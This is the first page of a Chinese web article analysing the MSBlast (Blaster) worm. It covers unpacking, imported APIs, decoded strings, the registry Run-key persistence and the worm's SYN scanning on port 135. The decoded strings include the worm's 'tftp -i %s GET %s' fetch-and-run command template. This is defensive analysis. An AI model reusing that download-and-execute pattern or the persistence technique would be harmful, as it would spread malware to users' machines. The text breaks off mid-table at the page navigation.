网站公告列表

  没有公告

加入收藏
设为首页
联系站长
您现在的位置: 局域网DIY—专业局域网网站 >> 局域网教程 >> 网络安全 >> [安全攻防] >> 文章正文
  冲击波(MSBlast)蠕虫分析报告          【字体:
冲击波(MSBlast)蠕虫分析报告
作者:互联网    文章来源:www.98pc.com    点击数:    更新时间:2006-4-11    

前几天针对目前流行的蠕虫冲击波(MSBlast.exe)蠕虫而写了一篇文章,在该文中我并没有描述的更详细,导致很多网友认为我的文章是Copy + Paste,而且我心里的确不舒服。写本文章的目的是为了以后分析蠕虫更简单,当作自己分析蠕虫的笔记看。另一方面是国内安全厂商都没有公布更具体的蠕虫分析报告,所以才使我写这篇文章。请高手阅读之后可以从中指出我表达错误的地方。谢谢! 微软针对该漏洞提供安全补丁下载:http://www.microsoft.com/technet/treeview/?url=/technet/security/bulletin/MS03-026.asp

蠕虫脱壳
  8月`12日11:19分接到某公司的紧急报告,内部网遭遇不明蠕虫蠕虫攻击。下午5:00处理完之后,我将蠕虫样本取回。
  取回样本之后查看MSBlast.exe,字节数为6176字节。利用Winhex查看MSBlast.exe十六进制,发现十六进制中包含UPX字符,从经验可以断定是利用UPX压缩,但还是利用language进行识别,判定的确为UPX加壳之后,利用UPXShell将MSBlast.exe进行脱壳之后字节数为11296字节。

蠕虫浅析
  利用W32dsm打开己脱壳的MSBlast.exe,可以从中分析蠕虫PE文件具体信息,对后面章节分析蠕虫有较大的帮助。
************************************反汇编MSBlast.exe***************************************
Disassembly of File: msblast.exe              *反汇编文件名称:msblast.exe
Code Offset = 00000400, Code Size = 00001458    *代码偏移量: 00000400,代码大小=00001458
Data Offset = 00001A00, Data Size = 0000088C    *数据偏移量: 00001A00,数据大小=0000088C

Number of Objects = 0004 (dec), Imagebase = 00400000h
*对象共计= 0004 (dec), 基地址 = 00400000h

  Object01: .text  RVA: 00001000 Offset: 00000400 Size: 00001458 Flags: 60000020
  Object02: .bss   RVA: 00003000 Offset: 00000000 Size: 00000000 Flags: C0000080
  Object03: .data  RVA: 00004000 Offset: 00001A00 Size: 0000088C Flags: C0000040
  Object04: .idata  RVA: 00005000 Offset: 00002400 Size: 000006C0 Flags: C0000060

*Object01: .text  相对虚拟地址: 00001000 偏移量: 00000400 大小: 00001458标记位: 60000020
*Object02: .bss  相对虚拟地址: 00003000 偏移量: 00000000 大小: 00000000标记位: C0000080
*Object03: .data  相对虚拟地址: 00004000 偏移量: 00001A00 大小: 0000088C标记位: C0000040
*Object04: .idata 相对虚拟地址: 00005000 偏移量: 00002400 大小: 000006C0标记位: C0000060
*文中含有*为解释部分仅供读者参考。
********************************************************************************************
  可以从以上的数据中获取蠕虫在内存中执行的数据,该蠕虫PE文件共分为4个区块,分别为text、bss、data、idata。脱壳后的蠕虫的入口点则为11CBh。

  MSBlast.exe蠕虫共调用5个DLL模块,53个Win32 API函数。5个DLL模块分别为KERNEL32.DLL、ADVAPI32.DLL、CRTDLL.DLL、WININET.DLL、WS2_32.DLL,53个Win32 API函数请参照以下反汇编数据。

********************************************************************************************
+++++++++++++++++++ IMPORTED FUNCTIONS ++++++++++++++++++
Number of Imported Modules =  5 (decimal)

  Import Module 001: KERNEL32.DLL
  Import Module 002: ADVAPI32.DLL
  Import Module 003: CRTDLL.DLL
  Import Module 004: WININET.DLL
  Import Module 005: WS2_32.DLL

+++++++++++++++++++ IMPORT MODULE DETAILS +++++++++++++++

  Import Module 001: KERNEL32.DLL

Addr:000053E8 hint(0000) Name: ExitProcess
Addr:000053F8 hint(0000) Name: ExitThread
Addr:00005408 hint(0000) Name: GetCommandLineA
Addr:0000541C hint(0000) Name: GetDateFormatA
Addr:00005430 hint(0000) Name: GetLastError
Addr:00005440 hint(0000) Name: GetModuleFileNameA
Addr:00005458 hint(0000) Name: GetModuleHandleA
Addr:0000546C hint(0000) Name: CloseHandle
Addr:0000547C hint(0000) Name: GetTickCount
Addr:0000548C hint(0000) Name: RtlUnwind
Addr:00005498 hint(0000) Name: CreateMutexA
Addr:000054A8 hint(0000) Name: Sleep
Addr:000054B0 hint(0000) Name: TerminateThread
Addr:000054C4 hint(0000) Name: CreateThread

  Import Module 002: ADVAPI32.DLL

Addr:000054D4 hint(0000) Name: RegCloseKey
Addr:000054E4 hint(0000) Name: RegCreateKeyExA
Addr:000054F8 hint(0000) Name: RegSetValueExA

  Import Module 003: CRTDLL.DLL

Addr:0000550C hint(0000) Name: __GetMainArgs
Addr:0000551C hint(0000) Name: atoi
Addr:00005524 hint(0000) Name: exit
Addr:0000552C hint(0000) Name: fclose
Addr:00005538 hint(0000) Name: fopen
Addr:00005540 hint(0000) Name: fread
Addr:00005548 hint(0000) Name: memcpy
Addr:00005554 hint(0000) Name: memset
Addr:00005560 hint(0000) Name: raise
Addr:00005568 hint(0000) Name: rand
Addr:00005570 hint(0000) Name: signal
Addr:0000557C hint(0000) Name: sprintf
Addr:00005588 hint(0000) Name: srand
Addr:00005590 hint(0000) Name: strchr
Addr:0000559C hint(0000) Name: strtok

  Import Module 004: WININET.DLL

Addr:000053CC hint(0000) Name: InternetGetConnectedState

  Import Module 005: WS2_32.DLL

Addr:000052C0 hint(0000) Name: htons
Addr:000052C8 hint(0000) Name: ioctlsocket
Addr:000052D8 hint(0000) Name: inet_addr
Addr:000052E4 hint(0000) Name: inet_ntoa
Addr:000052F0 hint(0000) Name: recvfrom
Addr:000052FC hint(0000) Name: select
Addr:00005308 hint(0000) Name: send
Addr:00005310 hint(0000) Name: sendto
Addr:0000531C hint(0000) Name: setsockopt
Addr:0000532C hint(0000) Name: socket
Addr:00005338 hint(0000) Name: gethostbyname
Addr:00005348 hint(0000) Name: bind
Addr:00005350 hint(0000) Name: gethostname
Addr:00005360 hint(0000) Name: closesocket
Addr:00005370 hint(0000) Name: WSAStartup
Addr:00005380 hint(0000) Name: WSACleanup
Addr:00005390 hint(0000) Name: connect
Addr:0000539C hint(0000) Name: getpeername
Addr:000053AC hint(0000) Name: getsockname
Addr:000053BC hint(0000) Name: WSASocketA

+++++++++++++++++++ EXPORTED FUNCTIONS ++++++++++++++++++
Number of Exported Functions = 0000 (decimal)
********************************************************************************************

  看完以上Win32 API函数,你也许就明白了蠕虫调用那些API函数,如要不太熟API函数可以参阅MSDN获取更详细的资料。了解API函数针对蠕虫每个动作就会非常熟悉。

  以上的分析为反汇编分析,而以下部分是利用Winhex查看蠕虫十六进制。因为MSBlast.EXE蠕虫变种并没有广泛流传,所以以下十六进制的分析内容与其它安全厂商专业人员分析的基本吻合。

  
********************************************************************************************
49 20 6A 75 73 74 20 77 61 6E 74 20 74 6F 20 73 61 79 20 4C 4F 56 45 20 59 4F 55 20 53 41 4E 21 21 00 62 69 6C 6C 79 20 67 61 74 65 73 20 77 68 79 20 64 6F 20 79 6F 75 20 6D 61 6B 65 20 74 68 69 73 20 70 6F 73 73 69 62 6C 65 20 3F 20 53 74 6F 70 20 6D 61 6B 69 6E 67 20 6D 6F 6E 65 79 20 61 6E 64 20 66 69 78 20 79 6F 75 72 20 73 6F 66 74 77 61 72 65 21 21 00

*利用Winhex查看十六进制,发现偏移为00001A40的十六进制的ASCII转换为明文为:
I just want to say LOVE YOU SAN!! billy gates why do you make this possible ? Stop making money and fix your software!!
********************************************************************************************

********************************************************************************************
77 69 6E 64 6F 77 73 75 70 64 61 74 65 2E 63 6F 6D

*利用Winhex查看十六进制,发现偏移为000021E0的十六进制的ASCII转换为明文为:
windowsupdate.com
********************************************************************************************

********************************************************************************************
73 74 61 72 74 20 25 73 0A 00 74 66 74 70 20 2D 69 20 25 73 20 47 45 54 20 25 73

*利用Winhex查看十六进制。发现偏移为00002200的十六进制,其中%s为变量。ASCII转换为明文为:
start %s tftp -i %s GET %s
********************************************************************************************

********************************************************************************************
77 69 6E 64 6F 77 73 20 61 75 74 6F 20 75 70 64 61 74 65 00 53 4F 46 54 57 41 52 45 5C 4D 69 63 72 6F 73 6F 66 74 5C 57 69 6E 64 6F 77 73 5C 43 75 72 72 65 6E 74 56 65 72 73 69 6F 6E 5C 52 75 6E

*利用Winhex查看十六进制。发现偏移为00002250的十六进制的ASCII转换为明文为:
windows auto update SOFTWARE\Microsoft\Windows\CurrentVersion\Run
********************************************************************************************

开始跟踪
  写这部分需要将蠕虫运行,虽然我只有一台公司笔记本电脑,里面却包含8G从网络收集的资料。前几天我还是忍痛将蠕虫在自己的笔记本上调试,只为了更仔细的分析蠕虫。开始运行蠕虫之前要准备好监视工具,看蠕虫会修改注册表、新增文件、开启端口等。

  运行MSBlast.exe蠕虫之后,利用Regshot监视注册表发现新增1处键值,键值为msblast.exe。我在运行的时候将MSBlast.exe放在C盘目录下,然写键值仍为msblast.exe,下次开机MSBlast.exe则不会自动运行。说明作者编写蠕虫时候键值并不是写入exe当前文件路径,而是指向system32目录下。我在测试过程中是这样的情况。而被感染蠕虫之后,MSBlast.exe文件都复制到对方的system32目录下,每次开机都会运行。
********************************************************************************************
增加值:1
----------------------------------
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\windows auto update: 6D 73 62 6C 61 73 74 2E 65 78 65 00 49 20 6A 75 73 74 20 77 61 6E 74 20 74 6F 20 73 61 79 20 4C 4F 56 45 20 59 4F 55 20 53 41 4E 21 21 00 62 69 6C 6C
********************************************************************************************

  运行蠕虫之后创建mutex内核对象,蠕虫软件随机打开本地端口开始向外部IP发出20个syn扫描连接,  目标主机IP地址由蠕虫程式随机产生。
********************************************************************************************
TCP  192.168.0.23:4608   27.185.154.157:135   SYN_SENT
TCP  192.168.0.23:4609   27.185.154.158:135   SYN_SENT
TCP  192.168.0.23:4610   27.185.154.159:135   SYN_SENT
TCP  192.168.0.23:4611   27.185.154.160:135   SYN_SENT
TCP  192.168.0.23:4612   27.185.154.161:135   SYN_SENT
TCP  192.168.0.23:4613   27.185.154.162:135   SYN_SENT
TCP  192.168.0.23:4614  &nbs

[1] [2] [3] 下一页

文章录入:wuwq    责任编辑:wuwq 
  • 上一篇文章:

  • 下一篇文章:
  • 发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
    最新热点 最新推荐 相关文章
    没有相关文章
      网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)

    局域网DIY】.版权所有 客服QQ:5820031 站长:晨光
    Copyright © 2000-2020 www.LANDIY.net All Rights Reserved
     


    粤ICP备05009256号